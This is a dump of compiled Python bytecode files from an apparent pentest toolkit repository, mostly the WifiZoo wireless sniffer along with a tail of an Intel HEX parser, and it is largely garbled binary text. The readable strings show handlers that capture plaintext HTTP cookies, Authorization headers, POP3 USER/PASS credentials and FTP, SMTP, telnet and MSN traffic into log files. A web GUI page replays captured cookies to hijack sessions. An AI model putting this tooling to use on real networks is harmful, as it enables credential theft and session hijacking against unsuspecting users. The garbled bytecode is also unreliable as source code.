%(line)d has invalid record type(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR#BsR%cBseZdZRS(s,Record at line %(line)d has invalid checksum(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR%EsR)cBseZdZRS(s#File has invalid End-of-File record(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR)HstExtendedAddressRecordErrorcBseZdZRS(s*Base class for extended address exceptions(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyRÒLsR+cBseZdZRS(s8Invalid Extended Segment Address Record at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR+OsR,cBseZdZRS(s7Invalid Extended Linear Address Record at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR,RstStartAddressRecordErrorcBseZdZRS(s'Base class for start address exceptions(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyRÚVsR-cBseZdZRS(s5Invalid Start Segment Address Record at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR-YsR/cBseZdZRS(s4Invalid Start Linear Address Record at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR/\sR.cBseZdZRS(s3Start Address Record appears twice at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR._sRÄcBseZdZRS(s+Invalid start address value: %(start_addr)s(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyRÄbsRñcBseZdZRS(sPBad access at 0x%(address)X: not enough data to read %(length)d contiguous bytes(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyRñfsR∂cBseZdZRS(sABad access at 0x%(address)X: not enough data to read 16 bit value(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR∂js(&R≥t __docformat__RtbinasciiRRtbisectRRŸtobjectRRµRR≈R∆R«t ExceptionR”RÂRÊR*RæR(R R"R#R%R)RÒR+R,RÚR-R/R.RÄRñR∂(((s/pentest/goodfet/intelhex.pyt<module>&sB ˇˇ√R' U :
36,213
Python
.py
333
103.054054
3,908
0.430588
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,840
appHandlers.pyc
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/appHandlers.pyc
Ñò /“Gc@szddkZddkTddkZddkZd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z dS( iÿÿÿÿN(t*c CsÆtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} |id | d | dd|d|dƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒq}q}W|idƒ|iƒdS(Ns1863/tcptRawtIPtTCPsmsn.logtabsWHEN: s iis SRC: channel s SRC: bssid=s (t)s src=s dst=sTCP: t.s -> (t wifiglobalstInfotincrementCountertgetlayertDot11topentlogDirtwritetstrtdatetimetnowthasPrismHeaderstchanneltgetSrcDstBssidtgetSSIDtsrctsporttdsttdporttisAlphatclose( tpkttrawtippktttpkttdot11tft pktChannelRRtbssidtssidtc((s!/root/wifizoo_v1.3/appHandlers.pyt msnHandler s,   $ 1Q   cCsütiidƒ|d}|itƒ}|d}|d}ttiiƒddƒ}ttiiƒddƒ}ttiiƒddƒ}d ttii ƒƒd }|i |ƒd } tii ƒd jo |i } nd t| ƒd } |i | ƒtii |ƒ\} } } tii| ƒ} d| d| dd| d| d }|i |ƒdt|iƒdt|iƒdt|iƒdt|iƒd }|i |ƒd}x5t|ƒD]'}tii|ƒo||}qÓqÓW|i |ƒ|id ƒ}d}d}d}x¨|D] }|idƒdjp|idƒdjo |}n|idƒdjp|idƒdjo |}n|idƒdjp|idƒdjo |}n|idƒdjp|idƒdjoÐ|i d d!d ƒ|i |ƒ|i |ƒ|i |ƒ|djo|i |d ƒn|djo|i |d ƒn|djo|i |d ƒn|i d"|d ƒ|i d d!d ƒn|id#ƒdjp|id$ƒdjoÐ|i d d!d ƒ|i |ƒ|i |ƒ|i |ƒ|djo|i |d ƒn|djo|i |d ƒn|djo|i |d ƒn|i d%|d ƒ|i d d!d ƒq3q3W|i d ƒ|iƒ|iƒdS(&Ns80/tcpRRRshttp.logRs cookies.logs httpauth.logsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sTCP: Rs -> tsPOST iÿÿÿÿspost sGET sget sHost:shost:s Set-Cookie:sCookie:t-iPsCOOKIE: sAuthorization:sWWW-AuthenticatesAUTH:(RRR R R R R RRRRRRRRRRRRRtsplittfindR(RRR RRR!tcftcf2twhenR"RRR#R$tairdatattcpdatatdataR%tlinestposttgetthosthtline((s!/root/wifizoo_v1.3/appHandlers.pyt httpHandler#sŠ      * J   , , , ,      ,         c CsÌtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} d | d | dd|d|d} |i| ƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒqƒqƒW|idƒ|iƒdS(Ns25/tcpRRRssmtp.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sTCP: Rs -> (RRR R R R R RRRRRRRRRRRRRR( RRRRR R!R"RRR#R$R.R%((s!/root/wifizoo_v1.3/appHandlers.pyt smtpHandlerks.   $ * Q   cCsþtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}dttii ƒƒd}|i |ƒd }tii ƒd jo |i }n|i d t|ƒdƒtii |ƒ\}} } tii| ƒ} d | d | dd|d| d} |i | ƒdt|iƒdt|iƒdt|iƒdt|iƒd} |i | ƒd}x5t|ƒD]'}tii|ƒo||}q•q•W|i |ƒ|i dƒ|iƒ|idƒ}ttiiƒddƒ}xÞ|D]Ö}|idƒdjp|idƒdjo<|i |ƒ|i | ƒ|i | ƒ|i |dƒn|idƒdjp|idƒdjo<|i |ƒ|i | ƒ|i | ƒ|i |dƒqqW|iƒdS(Ns110/tcpRRRspop3.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sTCP: Rs -> R'spop3_creds.logtUSERiÿÿÿÿtusertPASStpass(RRR R R R R RRRRRRRRRRRRRRR)R*(RRRRR R!R-R"RRR#R$R.R/R0R%R1tufR5((s!/root/wifizoo_v1.3/appHandlers.pyt pop3Handler„sT     * J     ,   ,    c CsÌtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} d | d | dd|d|d} |i| ƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒqƒqƒW|idƒ|iƒdS(Ns21/tcpRRRsftp.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sTCP: Rs -> (RRR R R R R RRRRRRRRRRRRRR( RRRRR R!R"RRR#R$R.R%((s!/root/wifizoo_v1.3/appHandlers.pyt ftpHandler°s.   $ * Q   c CsÌtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} d | d | dd|d|d} |i| ƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒqƒqƒW|idƒ|iƒdS(Ns23/tcpRRRs telnet.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sTCP: Rs -> (RRR R R R R RRRRRRRRRRRRRR( RRRRR R!R"RRR#R$R.R%((s!/root/wifizoo_v1.3/appHandlers.pyt telnetHandlerÉs.   $ * Q   c CsÌtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} d | d | dd|d|d} |i| ƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒqƒqƒW|idƒ|iƒdS(Ns137/udpRRtUDPs nbtns.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sUDP: Rs -> (RRR R R R R RRRRRRRRRRRRRR( RRRRR R!R"RRR#R$R.R%((s!/root/wifizoo_v1.3/appHandlers.pytnetbiosnsHandlerás.   $ * Q   c CsÌtiidƒ|d}|d}|d}|itƒ}ttiiƒddƒ}|idtt i i ƒƒdƒd }tii ƒd jo |i }n|id t|ƒdƒtii |ƒ\}}} tii| ƒ} d | d | dd|d|d} |i| ƒ|idt|iƒdt|iƒdt|iƒdt|iƒdƒx8t|ƒD]*} tii| ƒo|i| ƒqƒqƒW|idƒ|iƒdS(Ns138/udpRRR@s nbtdgm.logRsWHEN: s iis SRC: channel s SRC: bssid=s (Rs src=s dst=sUDP: Rs -> (RRR R R R R RRRRRRRRRRRRRR( RRRRR R!R"RRR#R$R.R%((s!/root/wifizoo_v1.3/appHandlers.pytnetbiosdgmHandlers.   $ * Q   ( t curses.asciitcursestscapyRRR&R6R7R=R>R?RARB(((s!/root/wifizoo_v1.3/appHandlers.pyt<module>s      H  ,   .
9,833
Python
.py
153
63.267974
413
0.28933
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,841
WifiZooEntities.pyc
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/WifiZooEntities.pyc
Ñò /“Gc@s\ddkZdd d„ƒYZdd d„ƒYZdd d„ƒYZdd d „ƒYZdS(iÿÿÿÿNtCookiecBsYeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z RS( cCs1d|_d|_d|_d|_h|_dS(Nt(t_datat_ipt _hostnamet_requestt_headers(tself((s%/root/wifizoo_v1.3/WifiZooEntities.pyt__init__s     cCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getRequest scCs ||_dS(N(R(RtaRequest((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setRequest scCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetDatascCs ||_dS(N(R(RtaData((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetDatascCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetIPscCs ||_dS(N(R(RtanIP((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetIPscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getHostnamescCs ||_dS(N(R(Rt aHostname((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setHostnames( t__name__t __module__RR R R RRRRR(((s%/root/wifizoo_v1.3/WifiZooEntities.pyRs        t ProbeRequestcBs¡eZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z d „Zd „Zd„Zd„Zd„ZRS(cCsLd|_d|_d|_d|_d|_d|_d|_d|_dS(NRtNotSeti( t_srct_dstt_bssidtNonet_pktt_ssidt_channelt _firstSeent _lastSeen(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyRs       cCs ||_dS(N(R(Rtasrc((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetSRC(scCs ||_dS(N(R(Rtadst((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetDST*scCs ||_dS(N(R(Rtabssid((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetBSSID,scCs ||_dS(N(R(Rtapkt((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetPKT.scCs ||_dS(N(R (Rt thedatetime((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setFirstSeen0scCs ||_dS(N(R!(Rt lastdatetime((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setLastSeen2scCs ||_dS(N(R(RtaSSID((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetSSID4scCs ||_dS(N(R(Rtachannel((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setChannel6scCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetSRC8scCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetDST:scCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetBSSID<scCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetPKT>scCs|iS(N(R (R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getFirstSeen@scCs|iS(N(R!(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getLastSeenBscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetSSIDDscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getChannelFs(RRRR#R%R'R)R+R-R/R1R2R3R4R5R6R7R8R9(((s%/root/wifizoo_v1.3/WifiZooEntities.pyRs"               t WifiClientcBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCs(d|_d|_d|_d|_dS(NRi(t_macRt _foundWhenR!(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyRJs   cCs|iS(N(R;(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetMACPscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyR9RscCs ||_dS(N(R;(RtaMAC((s%/root/wifizoo_v1.3/WifiZooEntities.pytsetMACTscCs ||_dS(N(R(RtaChannel((s%/root/wifizoo_v1.3/WifiZooEntities.pyR1Vs(RRRR=R9R?R1(((s%/root/wifizoo_v1.3/WifiZooEntities.pyR:Is     t AccessPointcBs‰eZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d d „Z d „Z d „Z d „Zd„ZRS(cCsLd|_d|_d|_d|_d|_d|_d|_g|_dS(NRi(RRRt _EncryptedR<t _isProtectedR!t _ClientsList(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyRZs       cCs|ii|ƒdS(N(RDtappend(Rt aWifiClient((s%/root/wifizoo_v1.3/WifiZooEntities.pyt addClientfscCs0x)|iD]}|iƒ|jo|Sq WdS(N(RDR=R(RR>tclient((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetClientbyMACjs   cCs|iS(N(RC(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt isProtectedpscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyR4sscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyR8vscCs|iS(N(R(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyR9yscCs|iS(N(R<(R((s%/root/wifizoo_v1.3/WifiZooEntities.pyt getFoundWhen|scCs t|iƒS(N(tstrR<(R((s%/root/wifizoo_v1.3/WifiZooEntities.pytgetFoundWhenStringsicCs ||_dS(N(RC(Rt isprotected((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setProtected‚scCs ||_dS(N(R(RR&((s%/root/wifizoo_v1.3/WifiZooEntities.pyR'…scCs ||_dS(N(R(Rtassid((s%/root/wifizoo_v1.3/WifiZooEntities.pyR/ˆscCs ||_dS(N(R(RR0((s%/root/wifizoo_v1.3/WifiZooEntities.pyR1‹scCs ||_dS(N(R<(Rt aDateTime((s%/root/wifizoo_v1.3/WifiZooEntities.pyt setFoundWhen�s(RRRRGRIRJR4R8R9RKRMROR'R/R1RR(((s%/root/wifizoo_v1.3/WifiZooEntities.pyRAYs            (((((tdatetimeRRR:RA(((s%/root/wifizoo_v1.3/WifiZooEntities.pyt<module>s ,
8,415
Python
.py
23
364.782609
1,853
0.366734
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,842
wifizoowebgui.pyc
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifizoowebgui.pyc
—Ú $/ìGc@sÔddkZddkZddkZddkZddkZddklZddkZddkZddk Z ddkZddk Z ddk Z dei fdÑÉYZ deieifdÑÉYZdÑZdefd ÑÉYZdS( iˇˇˇˇN(tThreadt WebHandlercBs™eZeiZeiZdÑZdÑZdÑZ dÑZ dÑZ dÑZ dÑZ dÑZdÑZd ÑZd ÑZd ÑZd ÑZd ÑZdÑZdÑZRS(cOs-h|_|iÉtii|||édS(N(t_CommandsHandlerst_initCmdHandlerstSimpleHTTPServertSimpleHTTPRequestHandlert__init__(tselftargstkargs((s#/root/wifizoo_v1.3/wifizoowebgui.pyRs  cCsƒ|i|id<|i|id<|i|id<|i|id<|i|id<|i|id<|i|id<|i|id<|i |id <|i |id <|i |id <|i |id <dS( Ns /showssidss /showcookiess /showapsgraphs/showprobesgraphs/showpop3credss/showprobessids /setcookies /showcounterss /showftpdatas /showsmtpdatas /showmsndatas/listapclients( t_Handle_showssidsRt_Handle_showcookiest_Handle_apsgrapht_Handle_showprobesgrapht_Handle_showpop3credst_Handle_showprobessidt_Handle_setcookiet_Handle_showcounterst_Handle_showftpdatat_Handle_showsmtpdatat_Handle_showmsndatat_Handle_listapclients(R((s#/root/wifizoo_v1.3/wifizoowebgui.pyRscGsdS(N((RtformatR((s#/root/wifizoo_v1.3/wifizoowebgui.pyt log_message*scCs&|iddÉ|iddÉ|iÉ|iidÉ|iidÉ|iidÉtiiÉ}t|Édjo%|iid É|iid ÉdS|iid Éx>|i ÉD]0}|iid |d t ||ÉdÉqæW|iidÉ|iid É|iidÉdS(Ni»tOKs Content-types text/htmls<HTML> s4<HEAD><meta http-equiv="refresh" content="5"></HEAD>s$<TITLE>WifiZoo - Statistics</TITLE> isNo data collected yet.<p>s1<hr><a href="javascript:window.close()">Close</a>s <TABLE><TR> s<TD>s: s </TD><TR>s <TR></TABLE>s</HTML>( t send_responset send_headert end_headerstwfiletwritet wifiglobalstInfotgetAllCounterstlentkeyststr(Rtcounterstk((s#/root/wifizoo_v1.3/wifizoowebgui.pyR-s&  .cCs8|iddÉ|iddÉ|iÉ|iidÉ|iidÉ|i|iidÉd}|id É}h}x6|D].}|id É\}}ti |É||<qÉWt i É}|i |d Ét ii|É|iid É|iid |d|dfÉ|iidÉ|iidÉdS(Ni»Rs Content-types text/htmls<HTML> s-<TITLE>WifiZoo - Set Cookie in proxy</TITLE> t?it&t=tcookiesCookie Set!<p>s%<a href="http://%s">Jump to %s</a><p>thosts#<a href="/showcookies"/>Back</a><p>s </HTML> (RRRRRtpathtfindtsplitturllibtunquotetWifiZooEntitiestCookietsetDataRRt setCookie(RtthePathtparamst params_dicttst param_namet param_valuetaCookie((s#/root/wifizoo_v1.3/wifizoowebgui.pyRCs(  " cCsV|iddÉ|iddÉ|iÉ|iidÉ|iidÉ|i|iidÉd}|id É}h}x6|D].}|id É\}}ti |É||<qÉWy|d }Wn6t j o*}|iid É|iid ÉdSXt i i |É} | iÉ} | iÉ} t i i|É} |iidti|Édti| Édt| Édd| dÉyt i i|} Wn6t j o*}|iid É|iid ÉdSXxn| D]f}|iidÉt i i|É}|iiti|Édti|ÉdÉ|iidÉqÿW|iid ÉdS(Ni»Rs Content-tyes text/htmls<HTML> s$<TITLE>WifiZoo - AP clients</TITLE> R&iR'R(tbssidsNo clients were seen so far.s</HTML> s<H2> t(s) (ch:t)s (Vendor: s) clients</H2> s <FONT SIZE=4>s (s) <br>s</FONT>(RRRRRR+R,R-R.R/tKeyErrorRRt getAPbyBSSIDtgetSSIDt getChannelt getMACVendortcgitescapeR#tAPdict(RR4R5R6R7R8R9tAPbssidtettheAPtapSSIDt apChannelt theVendort clientsListtclientt clientVendor((s#/root/wifizoo_v1.3/wifizoowebgui.pyRdsJ   L.cCsx|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiti i ÉdÉp|iidÉdSt ti i Édd Éi É}|i d É}x±|D]©}t|Éd joê|id Éd jp,|idÉd jp|idÉd jo)|iidti|ÉddÉq`|iidti|ÉdÉq∑q∑W|iidÉdS(Ni»Rs Content-types text/htmls<HTML> s"<TITLE>WifiZoo - MSN Data</TITLE> smsn.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>trbs isTCP:isSRC:sWHEN:s <FONT SIZE=2>s<br> s</FONT>s<b>s </b><br> s</HTML> (RRRRRtosR+tisfileRRtlogDirtopentreadR-R!R,RCRD(Rtdatatmsndatataline((s#/root/wifizoo_v1.3/wifizoowebgui.pyRës$  "B))c CsÄ|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiÉ}t|Édjo|iidÉdS|iid É|iid Éx∏|D]∞}t |i ÉÉ}t |i ÉÉ}t |i ÉÉ}t |i ÉÉ}t |iÉÉ}|iid ti|Éti|Éti|Éti|Éti|ÉfÉq®W|iid É|iid ÉdS(Ni»Rs Content-types text/htmls<HTML> s4<TITLE>WifiZoo - SSIDS obtained from probes</TITLE> isONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>s <table><tr>sk<td><b>SSID</b></TD><td><b>DST</b></td><td><b>SRC</b></td></td><td><b>BSSID</b></td></td><td><b>Ch</b></td>sE<tr><td>%s</TD><td>%s</td><td>%s</td></td><td>%s</td></td><td>%s</td>s</table>s </HTML> (RRRRRRRtgetProbeRequestsBySSIDR!R#R@tgetDSTtgetSRCtgetBSSIDRARCRD(Rt ProbesListtprobetiSSIDtiDSTtiSRCtiBSSIDtiCh((s#/root/wifizoo_v1.3/wifizoowebgui.pyR•s, TcCsë|iddÉ|iddÉ|iÉtiitiiÉdÉp|i i dÉdSti dtiiÉdÉ|i i d ÉdS( Ni»Rs Content-types text/htmlsprobereqbysrc.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>s"dot -Tpng -o./webgui/probes.png ./s/probereqbysrc.logsW<HTML> <IMG alt="sthg went wrong. this feature needs graphviz" SRC="probes.png"></HTML>( RRRRPR+RQRRRRRRtsystem(R((s#/root/wifizoo_v1.3/wifizoowebgui.pyR ¿s  cCsë|iddÉ|iddÉ|iÉtiitiiÉdÉp|i i dÉdSti dtiiÉdÉ|i i d ÉdS( Ni»Rs Content-types text/htmls clients.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>s#dot -Tpng -o./webgui/clients.png ./s /clients.logsX<HTML> <IMG alt="sthg went wrong. this feature needs graphviz" SRC="clients.png"></HTML>( RRRRPR+RQRRRRRRRc(R((s#/root/wifizoo_v1.3/wifizoowebgui.pyR Ãs  cCst|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiti i ÉdÉp|iidÉdSt ti i Édd Éi É}|i d É}x≠|D]•}t|Éd joå|id Éd jp,|idÉd jp|idÉd jo%|iidti|ÉdÉq\|iidti|ÉdÉq∑q∑W|iidÉdS(Ni»Rs Content-types text/htmls<HTML> s#<TITLE>WifiZoo - SMTP Data</TITLE> ssmtp.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>ROs isWHEN:isSRC:sTCP:s <FONT SIZE=2>s<br> s<b>s </b><br> s</HTML> (RRRRRRPR+RQRRRRRSRTR-R!R,RCRD(RRUtsmtpdataRW((s#/root/wifizoo_v1.3/wifizoowebgui.pyR◊s$  "B%)cCsx|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiti i ÉdÉp|iidÉdSt ti i Édd Éi É}|i d É}x±|D]©}t|Éd joê|id Éd jp,|idÉd jp|idÉd jo)|iidti|ÉddÉq`|iidti|ÉdÉq∑q∑W|iidÉdS(Ni»Rs Content-types text/htmls<HTML> s"<TITLE>WifiZoo - FTP Data</TITLE> sftp.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>ROs isTCP:isSRC:sWHEN:s <FONT SIZE=2>s<br> s</FONT>s<b>s </b><br> s</HTML> (RRRRRRPR+RQRRRRRSRTR-R!R,RCRD(RRUtftpdataRW((s#/root/wifizoo_v1.3/wifizoowebgui.pyRÏs$  "B))cCs›|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiti i ÉdÉp|iidÉdSt ti i Édd Éi É}|i d É}x|D]}t|Éd joı|id Éd jp,|idÉd jp|idÉd jo%|iidti|ÉdÉq≈|idÉdjp|idÉdjo9|iidÉ|iidti|Édd Éq≈|iidti|Édd Éq∑q∑W|iidÉdS(Ni»Rs Content-types text/htmls<HTML> s*<TITLE>WifiZoo - POP3 Credentials</TITLE> spop3_creds.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>ROs itWHENisSRC:sTCP:s <font size=2>s </font><br> tUSERiˇˇˇˇtPASSs<font color=red>s<b>s</font></b><br>s</b><br>s </HTML> (RRRRRRPR+RQRRRRRSRTR-R!R,RCRD(RRUt pop3credsRW((s#/root/wifizoo_v1.3/wifizoowebgui.pyRs*  "B%,)-c CsL|iddÉ|iddÉ|iÉ|iidÉ|iidÉtiiti i ÉdÉp|iidÉdS|iid Ét ti i Édd Éi É}|i d É}d }xo|D]g}t|Éd joN|idÉdjo8|idÉdjp,|idÉdjp|idÉdjoI|idÉdjo |}n|iidti|Édd Éq4|idÉdjon|iidÉ|idÉdjo|idÉ}tdÉ}|||}|idÉ}|d|!} ||} |i dÉd} | i dÉ} | dd| dd| dd| d } |iiti|d||!ÉÉ|iidti| Éd ti| Éd!ti| | Éd"É|iid#Én|id$Édjo|idÉdjo˙|id$É}td$É}||td$É} |i dÉd } | i dÉ} | dd| dd| dd| d } |iiti|d||!ÉÉ|iidti| Éd ti| Éd!ti| Éd%É|iid#Éq0q4|iid&ti|Éd'd ÉqÕqÕW|iid(ÉdS()Ni»Rs Content-types text/htmls<HTML> s!<TITLE>WifiZoo - Cookies</TITLE> s cookies.logsONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>s)<a href="/index.html">Back</a><br><hr><p>ROs tis--------------isTCP:sWHEN:sSRC:sTCP: s <FONT SIZE=2>s </FONT><br>sCOOKIE:s<FONT COLOR=RED><b>s Set-Cookie:iˇˇˇˇt;t it.is<a href="/setcookie?cookie=s&host=s" target="_blank">s</a><br>s </b></FONT>sCookie:s </a>i<br>s<B>s</B><br>s </HTML> (RRRRRRPR+RQRRRRRSRTR-R!R,RCRDR.tquote(RRUtcookiesttcp_dataRWtndxthdrlent cookielinetcookie_pos_endR)t cookie_datatipporttippartstip((s#/root/wifizoo_v1.3/wifizoowebgui.pyR s^  ")B )   .$G, .$C-cCs¶|iddÉ|iddÉ|iÉd}|iidÉdjo≤|i|iidÉd}|id É}h}t|Édjoix6|D].}|id É\}}ti|É||<qïWy|d }Wq˜t j o}d}q˜Xq˚n|djo|d jo d}n|d jo|i i d Én|d jo|i i dÉn|i i dÉt i iÉ} t| Édjo|i i dÉdS|i i dÉ|i i dÉ|i i dÉ|i i dÉxJ| D]B} | iÉp/t| iÉÉ} t| iÉÉ} d} t| iÉÉidÉd}t| iÉÉ}d}y t i i| }t|É}Wn d}nXt i i| É}|i i ddti| Édti| Édti| Éti|Éti| É|ti|Éti|ÉfÉ|i i dÉqÔqÔWx:| D]2} | iÉot| iÉÉ} t| iÉÉ} d} t| iÉÉidÉd}t| iÉÉ}d}y t i i| }t|É}Wn d}nXt i i| É}|i i ddti| Édti| Édti| Éti|Éti| É|ti|Éti|ÉfÉq<q<W|i i dÉ|i i dÉ|i i d ÉdS(!Ni»Rs Content-types text/htmltoffR&iˇˇˇˇiR'R(t autorefreshtons4<HEAD><meta http-equiv="refresh" content="5"></HEAD>sV<font size=1><a href="/showssids?autorefresh=off">[turn autorefresh off]</a></font><p>sT<font size=1><a href="/showssids?autorefresh=on">[turn autorefresh on]</a></font><p>isONo information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>s<HTML> s)<TITLE>WifiZoo - SSIDS (AP) List</TITLE> s<table> sö<tr><td><b>BSSID</b></td><td><b>SSID<b></td><td><b>Ch</b></td><td><b>Enc</b></td><td><b>#clients</td><td><b>Vendor</b></td><td><b>First Seen</b></td><tr> tOpenRms≥<tr><td><font size=2>%s</font></td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td>s<a href="/listapclients?bssid=sM" target="_blank" onclick="window.open(this.href,this.target);return false;">s</a>s tEncs¨<tr><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td>s</TABLE>s</HTML> (RRRR+R,R-R!R.R/R>RRRRt getAPListt isProtectedR#R[R@tgetFoundWhenStringRARERBRnRCRD(RRzR4R5R6R7R8R9RGtAPListtapRaR^tiEnctiWhenRbt iClientsNumtclientstapVendor((s#/root/wifizoo_v1.3/wifizoowebgui.pyR Rsä      x  ÄcCs√d}d}|iidÉdjo |id|iidÉ!}n |i}x<|iiÉD]+}||jo|i|Éd}q^q^W|djodSd|i|_tii|ÉdS(NiRjR&iˇˇˇˇis/webgui/(R+R,RR"RRtdo_GET(RtcmdFoundR4tcmd((s#/root/wifizoo_v1.3/wifizoowebgui.pyRà´s    (t__name__t __module__RRt_WebHandler__basethandlet_WebHandler__base_handleRRRRRRRRR R RRRR R Rà(((s#/root/wifizoo_v1.3/wifizoowebgui.pyRs$       ! -      9 YtThreadingHTTPServercBseZRS((RãRå(((s#/root/wifizoo_v1.3/wifizoowebgui.pyRêƒscCsdS(N((((s#/root/wifizoo_v1.3/wifizoowebgui.pyt dummy_log«st WifiZooWebGuicBseZdÑZdÑZRS(cCsti|ÉdS(N(RR(R((s#/root/wifizoo_v1.3/wifizoowebgui.pyRÀscCsÑdGHt}t}d}d}d|f}||_|||É}t|_|iiÉ}dG|dGdG|dGd GH|iÉdS( NsLaunching Web Interface..sHTTP/1.0i@s 127.0.0.1sWifiZoo Web GUI Serving HTTP onitportis...(RRêtprotocol_versionRëRtsockett getsocknamet serve_forever(Rt HandlerClasst 